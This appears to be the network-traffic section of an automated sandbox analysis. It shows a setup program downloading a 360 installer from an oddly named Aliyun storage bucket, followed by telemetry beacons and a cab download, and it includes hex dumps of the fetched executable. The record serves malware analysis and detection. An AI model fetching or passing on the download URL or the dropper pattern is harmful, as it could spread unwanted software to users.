Dec 29, 2024 09:03:19.187354088 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:19.279715061 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:19.304423094 CET	80	10004	1.192.136.135	192.168.2.4
Dec 29, 2024 09:03:19.388612986 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:19.497468948 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:19.607707977 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:19.632318974 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:19.719144106 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:19.825757027 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:19.935992002 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:20.044596910 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:20.075851917 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:20.154305935 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:20.178620100 CET	80	10004	1.192.136.135	192.168.2.4
Dec 29, 2024 09:03:20.263417959 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:20.373389959 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:20.482121944 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:20.497277975 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:20.591198921 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:20.635018110 CET	80	10004	1.192.136.135	192.168.2.4
Dec 29, 2024 09:03:20.952109098 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:21.052665949 CET	80	10004	1.192.136.135	192.168.2.4
Dec 29, 2024 09:03:23.106942892 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:23.666398048 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:23.765760899 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:26.279042959 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:28.576025963 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:30.982026100 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:33.497562885 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:35.575824022 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:36.158420086 CET	80	10004	1.192.136.135	192.168.2.4
Dec 29, 2024 09:03:36.232105970 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:38.309977055 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:40.827238083 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:43.013489962 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:43.599342108 CET	80	10004	1.192.136.135	192.168.2.4
Dec 29, 2024 09:03:43.669461012 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:46.076172113 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:46.637296915 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:46.731862068 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:49.466480970 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:50.404820919 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:50.450795889 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:51.022344112 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:51.107028008 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:03:53.403846979 CET	10004	80	192.168.2.4	1.192.136.133
Dec 29, 2024 09:03:55.700896978 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:03:58.326112032 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:03:58.924230099 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:03:58.981945038 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:04:01.061175108 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:04:01.633156061 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:04:01.828007936 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:04:02.408521891 CET	80	10004	1.192.136.135	192.168.2.4
Dec 29, 2024 09:04:02.482549906 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:04:04.781172037 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:04:05.353230953 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:04:05.434978962 CET	10004	80	192.168.2.4	1.192.136.134
Dec 29, 2024 09:04:06.012557030 CET	80	10004	1.192.136.134	192.168.2.4
Dec 29, 2024 09:04:06.092067003 CET	10004	80	192.168.2.4	1.192.136.132
Dec 29, 2024 09:04:57.606870890 CET	10004	80	192.168.2.4	1.192.136.135
Dec 29, 2024 09:04:58.193104982 CET	80	10004	1.192.136.135	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 29, 2024 09:02:13.121221066 CET	192.168.2.4	1.192.136.171	4a66	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 29, 2024 09:01:57.980811119 CET	192.168.2.4	1.1.1.1	0x6652	Standard query (0)	gwwifha84989.oss-ap-northeast-2.aliyuncs.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:09.367391109 CET	192.168.2.4	1.1.1.1	0xfb0b	Standard query (0)	s.360.cn	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:09.554183006 CET	192.168.2.4	1.1.1.1	0x260	Standard query (0)	st.p.360.cn	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:09.720099926 CET	192.168.2.4	1.1.1.1	0x8baa	Standard query (0)	agt.p.360.cn	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:09.720355034 CET	192.168.2.4	1.1.1.1	0xd43a	Standard query (0)	tr.p.360.cn	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:14.017611980 CET	192.168.2.4	1.1.1.1	0xffed	Standard query (0)	agd.p.360.cn	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:14.017637968 CET	192.168.2.4	1.1.1.1	0xce55	Standard query (0)	pinst.360.cn	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:15.013144016 CET	192.168.2.4	1.1.1.1	0xce55	Standard query (0)	pinst.360.cn	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 29, 2024 09:01:58.441051960 CET	1.1.1.1	192.168.2.4	0x6652	No error (0)	gwwifha84989.oss-ap-northeast-2.aliyuncs.com		149.129.12.34	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:09.783198118 CET	1.1.1.1	192.168.2.4	0xfb0b	No error (0)	s.360.cn		180.163.251.230	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:09.783198118 CET	1.1.1.1	192.168.2.4	0xfb0b	No error (0)	s.360.cn		171.8.167.90	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:09.783198118 CET	1.1.1.1	192.168.2.4	0xfb0b	No error (0)	s.360.cn		171.13.14.66	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:09.783198118 CET	1.1.1.1	192.168.2.4	0xfb0b	No error (0)	s.360.cn		171.8.167.89	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:09.965209961 CET	1.1.1.1	192.168.2.4	0x260	No error (0)	st.p.360.cn		1.192.136.170	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:10.108865976 CET	1.1.1.1	192.168.2.4	0xd43a	No error (0)	tr.p.360.cn		1.192.136.132	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:10.108865976 CET	1.1.1.1	192.168.2.4	0xd43a	No error (0)	tr.p.360.cn		1.192.136.133	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:10.108865976 CET	1.1.1.1	192.168.2.4	0xd43a	No error (0)	tr.p.360.cn		1.192.136.134	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:10.108865976 CET	1.1.1.1	192.168.2.4	0xd43a	No error (0)	tr.p.360.cn		1.192.136.135	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:10.134640932 CET	1.1.1.1	192.168.2.4	0x8baa	No error (0)	agt.p.360.cn		1.192.136.132	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:10.134640932 CET	1.1.1.1	192.168.2.4	0x8baa	No error (0)	agt.p.360.cn		1.192.136.133	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:14.156692982 CET	1.1.1.1	192.168.2.4	0xffed	No error (0)	agd.p.360.cn	agd2.p.360.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 09:02:14.156692982 CET	1.1.1.1	192.168.2.4	0xffed	No error (0)	agd2.p.360.cn		1.192.194.232	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:14.156692982 CET	1.1.1.1	192.168.2.4	0xffed	No error (0)	agd2.p.360.cn		1.192.194.215	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:15.282728910 CET	1.1.1.1	192.168.2.4	0xce55	No error (0)	pinst.360.cn	softm.update.360safe.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 09:02:15.282728910 CET	1.1.1.1	192.168.2.4	0xce55	No error (0)	softm.update.360safe.com	seupdate.360qhcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 09:02:15.282728910 CET	1.1.1.1	192.168.2.4	0xce55	No error (0)	seupdate.360qhcdn.com		39.156.85.231	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:15.282728910 CET	1.1.1.1	192.168.2.4	0xce55	No error (0)	seupdate.360qhcdn.com		39.156.85.201	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:15.282728910 CET	1.1.1.1	192.168.2.4	0xce55	No error (0)	seupdate.360qhcdn.com		39.156.85.200	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:15.282752037 CET	1.1.1.1	192.168.2.4	0xce55	No error (0)	pinst.360.cn	softm.update.360safe.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 09:02:15.282752037 CET	1.1.1.1	192.168.2.4	0xce55	No error (0)	softm.update.360safe.com	seupdate.360qhcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 09:02:15.282752037 CET	1.1.1.1	192.168.2.4	0xce55	No error (0)	seupdate.360qhcdn.com		39.156.85.231	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:15.282752037 CET	1.1.1.1	192.168.2.4	0xce55	No error (0)	seupdate.360qhcdn.com		39.156.85.201	A (IP address)	IN (0x0001)	false
Dec 29, 2024 09:02:15.282752037 CET	1.1.1.1	192.168.2.4	0xce55	No error (0)	seupdate.360qhcdn.com		39.156.85.200	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

gwwifha84989.oss-ap-northeast-2.aliyuncs.com

s.360.cn

pinst.360.cn

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	180.163.251.230	80	4460	C:\Users\user\Downloads\360instpatch.exe

Timestamp	Bytes transferred	Direction	Data
Dec 29, 2024 09:02:09.904696941 CET	398	OUT	GET /safe/instcomp.htm?soft=1000&status=100&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 29, 2024 09:02:11.515594959 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Sun, 29 Dec 2024 08:02:11 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:44 GMT Connection: keep-alive ETag: "5b5ac5b0-0" Accept-Ranges: bytes
Dec 29, 2024 09:02:11.637595892 CET	428	OUT	GET /safe/instcomp.htm?soft=1000&status=127&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&parent=Non-existent%20Process&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 29, 2024 09:02:12.185935020 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Sun, 29 Dec 2024 08:02:11 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:44 GMT Connection: keep-alive ETag: "5b5ac5b0-0" Accept-Ranges: bytes
Dec 29, 2024 09:02:12.187710047 CET	398	OUT	GET /safe/instcomp.htm?soft=1000&status=109&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 29, 2024 09:02:12.739072084 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Sun, 29 Dec 2024 08:02:12 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:44 GMT Connection: keep-alive ETag: "5b5ac5b0-0" Accept-Ranges: bytes
Dec 29, 2024 09:02:12.744915962 CET	385	OUT	GET /safe/instcomp.htm?soft=1000&status=12&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 29, 2024 09:02:13.293493032 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Sun, 29 Dec 2024 08:02:13 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:44 GMT Connection: keep-alive ETag: "5b5ac5b0-0" Accept-Ranges: bytes
Dec 29, 2024 09:02:13.296830893 CET	235	OUT	GET /safe/instcomp.htm?soft=425&status=1&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=0&downrate=0&downlen=0 HTTP/1.1 Host: s.360.cn Connection: Keep-Alive Cache-Control: no-cache
Dec 29, 2024 09:02:13.846714020 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Sun, 29 Dec 2024 08:02:13 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:44 GMT Connection: keep-alive ETag: "5b5ac5b0-0" Accept-Ranges: bytes
Dec 29, 2024 09:02:13.848267078 CET	398	OUT	GET /safe/instcomp.htm?soft=1000&status=107&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 29, 2024 09:02:14.397253036 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Sun, 29 Dec 2024 08:02:14 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:44 GMT Connection: keep-alive ETag: "5b5ac5b0-0" Accept-Ranges: bytes
Dec 29, 2024 09:02:18.027101994 CET	398	OUT	GET /safe/instcomp.htm?soft=1000&status=129&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 29, 2024 09:02:18.577312946 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Sun, 29 Dec 2024 08:02:18 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:44 GMT Connection: keep-alive ETag: "5b5ac5b0-0" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	180.163.251.230	80	4460	C:\Users\user\Downloads\360instpatch.exe

Timestamp	Bytes transferred	Direction	Data
Dec 29, 2024 09:02:12.158313036 CET	384	OUT	GET /safe/instcomp.htm?soft=1000&status=1&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 29, 2024 09:02:13.697072983 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Sun, 29 Dec 2024 08:02:13 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:16:11 GMT Connection: keep-alive ETag: "5b5ac6bb-0" Accept-Ranges: bytes
Dec 29, 2024 09:02:14.007144928 CET	384	OUT	GET /safe/instcomp.htm?soft=1000&status=8&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 29, 2024 09:02:14.536041021 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Sun, 29 Dec 2024 08:02:14 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:16:11 GMT Connection: keep-alive ETag: "5b5ac6bb-0" Accept-Ranges: bytes
Dec 29, 2024 09:02:18.026551962 CET	385	OUT	GET /safe/instcomp.htm?soft=1000&status=10&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 29, 2024 09:02:18.553643942 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Sun, 29 Dec 2024 08:02:18 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:16:11 GMT Connection: keep-alive ETag: "5b5ac6bb-0" Accept-Ranges: bytes
Dec 29, 2024 09:02:18.554636002 CET	239	OUT	GET /safe/instcomp.htm?soft=425&status=19&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=4187&downrate=0&downlen=0 HTTP/1.1 Host: s.360.cn Connection: Keep-Alive Cache-Control: no-cache
Dec 29, 2024 09:02:19.081820965 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Sun, 29 Dec 2024 08:02:18 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:16:11 GMT Connection: keep-alive ETag: "5b5ac6bb-0" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49747	39.156.85.231	80	4460	C:\Users\user\Downloads\360instpatch.exe

Timestamp	Bytes transferred	Direction	Data
Dec 29, 2024 09:02:15.406244993 CET	202	OUT	GET /360safe/h_inst.cab?rd=36608336 HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Host: pinst.360.cn Connection: Close Cache-Control: no-cache
Dec 29, 2024 09:02:17.001564026 CET	219	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 08:02:16 GMT Content-Type: application/octet-stream Content-Length: 648 Last-Modified: Fri, 27 Dec 2024 02:49:36 GMT Connection: close Accept-Ranges: bytes
Dec 29, 2024 09:02:17.001821995 CET	648	IN	Data Raw: 4d 53 43 46 00 00 00 00 88 02 00 00 00 00 00 00 2c 00 00 00 00 00 00 00 03 01 01 00 01 00 00 00 00 00 00 00 46 00 00 00 01 00 01 00 56 03 00 00 00 00 00 00 00 00 9b 59 76 54 20 00 73 65 74 75 70 2e 69 6e 69 00 9c 0c 0f 43 3a 02 56 03 43 4b 65 51 Data Ascii: MSCF,FVYvT setup.iniC:VCKeQA7?jQO3AB'i3N:t0.GnDK`0g{U*`ieY5U}v^}{-rOU{d~_'v;,EY&.]]-g_eqq[+W

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	149.129.12.34	443	6992	C:\Users\user\Desktop\wyySetups64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 08:02:00 UTC	138	OUT	GET /360instpatch.exe HTTP/1.1 User-Agent: URLDownloader Host: gwwifha84989.oss-ap-northeast-2.aliyuncs.com Cache-Control: no-cache
2024-12-29 08:02:01 UTC	562	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 29 Dec 2024 08:02:00 GMT Content-Type: application/octet-stream Content-Length: 4118496 Connection: close x-oss-request-id: 677101F809267733339AA161 Accept-Ranges: bytes ETag: "AAA0F14BDFE3777EEE342C27DE409E6D" Last-Modified: Fri, 27 Dec 2024 15:44:55 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 13828654626470641508 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: qqDxS9/jd37uNCwn3kCebQ== x-oss-server-time: 2
2024-12-29 08:02:01 UTC	15822	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 21 c5 b9 d1 65 a4 d7 82 65 a4 d7 82 65 a4 d7 82 d8 eb 41 82 61 a4 d7 82 6c dc 42 82 79 a4 d7 82 42 62 b9 82 64 a4 d7 82 6c dc 5e 82 73 a4 d7 82 7b f6 53 82 61 a4 d7 82 42 62 ba 82 66 a4 d7 82 42 62 ac 82 40 a4 d7 82 65 a4 d6 82 b7 a5 d7 82 6c dc 54 82 d2 a4 d7 82 6c dc 53 82 ca a4 d7 82 7b f6 43 82 64 a4 d7 82 6c dc 46 82 64 a4 d7 82 52 69 63 68 65 a4 d7 82 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!eeeAalByBbdl^s{SaBbfBb@elTlS{CdlFdRiche
2024-12-29 08:02:01 UTC	16384	IN	Data Raw: 75 08 c7 44 24 10 fe ff 00 00 0f b7 74 24 10 8d 34 b6 03 f6 03 f6 03 f6 8b c6 e8 23 f3 ff ff 89 44 24 18 85 c0 75 19 68 68 cc 4c 00 50 50 ba 68 cc 4c 00 e8 4a 37 00 00 83 c4 0c e9 62 01 00 00 85 f6 74 24 8b 4c 24 34 8b 54 24 30 56 50 51 52 8d 7c 24 48 e8 e9 f9 ff ff 83 c4 10 85 c0 0f 84 3e 01 00 00 8b 44 24 18 01 b5 b0 00 00 00 83 7c 24 14 00 8b 74 24 10 74 2b 33 ff 33 d2 8b c8 66 3b fe 73 20 81 39 49 4e 49 54 75 06 80 79 04 00 74 0b 42 83 c1 28 66 3b d6 72 e9 eb 07 c6 85 9e 00 00 00 01 8b 4c 24 24 8b 54 24 20 51 e8 d0 01 00 00 8b f0 83 c4 04 89 74 24 20 85 f6 0f 84 c3 00 00 00 6a 0a 56 8d 44 24 40 e8 03 01 00 00 83 c4 08 85 c0 0f 84 ac 00 00 00 8b 40 04 85 c0 0f 89 a1 00 00 00 25 ff ff ff 7f 03 c6 68 60 03 00 00 50 8d 44 24 40 e8 d7 00 00 00 83 c4 08 85 Data Ascii: uD$t$4#D$uhhLPPhLJ7bt$L$4T$0VPQR\|$H>D$\|$t$t+33f;s 9INITuytB(f;rL$$T$ Qt$ jVD$@@%h`PD$@
2024-12-29 08:02:01 UTC	16384	IN	Data Raw: 73 4b 85 db 74 47 b9 20 00 00 00 2b cf 89 4c 24 0c 8b 4c 24 14 2b ce 55 8d 14 9e 89 4c 24 0c eb 05 90 8b 4c 24 0c 8b 74 11 fc 83 ea 04 8b ee 8b cf d3 ed 4b 0b e8 89 2a 85 ff 74 0a 8b 4c 24 10 d3 e6 8b c6 eb 02 33 c0 85 db 75 d6 5d 5e 5b 83 c4 08 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 81 ec 38 06 00 00 55 8b ac 24 4c 06 00 00 57 8b f8 8b 84 24 54 06 00 00 85 c0 0f 84 d4 02 00 00 48 83 3c 87 00 75 07 8b c8 48 85 c9 75 f3 53 8d 58 01 89 5c 24 14 85 db 0f 84 b5 02 00 00 8b 4c 9f fc 33 c0 85 c9 74 08 40 d1 e9 83 f8 20 72 f4 56 be 20 00 00 00 2b f0 89 74 24 2c 8b cb 8d 84 24 3c 02 00 00 eb 09 8d a4 24 00 00 00 00 8b ff c7 00 00 00 00 00 83 c0 04 83 e9 01 75 f2 8b 84 24 54 06 00 00 55 8d 8c 24 40 02 00 00 e8 ae fe ff ff 89 84 ac 40 02 00 00 53 8b c7 8d Data Ascii: sKtG +L$L$+UL$L$tK*tL$3u]^[8U$LW$TH<uHuSX\$L3t@ rV +t$,$<$u$TU$@@S
2024-12-29 08:02:01 UTC	16384	IN	Data Raw: 00 8d 55 d8 52 c7 45 d8 50 20 4c 00 e8 77 7c 07 00 8b 45 08 8b 4d ec 89 45 e4 40 89 65 f0 50 c6 45 fc 02 e8 5a 03 00 00 89 45 08 b8 ff c9 40 00 c3 8b 7d ec 8b 75 e4 8b 5d 0c 85 db 76 20 83 7f 18 10 72 05 8b 47 04 eb 03 8d 47 04 8b 4d 08 53 50 8d 46 01 50 51 e8 a1 7b 07 00 83 c4 10 83 7f 18 10 72 0c 8b 57 04 52 e8 03 7b 07 00 83 c4 04 8b 4d 08 8d 47 04 c6 00 00 89 08 89 77 18 89 5f 14 83 fe 10 72 02 8b c1 c6 04 18 00 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c2 08 00 8b 75 ec 83 7e 18 10 72 0c 8b 46 04 50 e8 be 7a 07 00 83 c4 04 6a 00 c7 46 18 0f 00 00 00 c7 46 14 00 00 00 00 6a 00 c6 46 04 00 e8 b8 7b 07 00 cc cc 56 57 8b 7c 24 0c 85 ff 74 2c 8b 71 18 8d 41 04 83 fe 10 72 04 8b 10 eb 02 8b d0 3b fa 72 17 83 fe 10 72 02 8b 00 8b 49 14 03 c8 3b cf Data Ascii: UREP Lw\|EME@ePEZE@}u]v rGGMSPFPQ{rWR{MGw_rMdY_^[]u~rFPzjFFjF{VW\|$t,qAr;rrI;
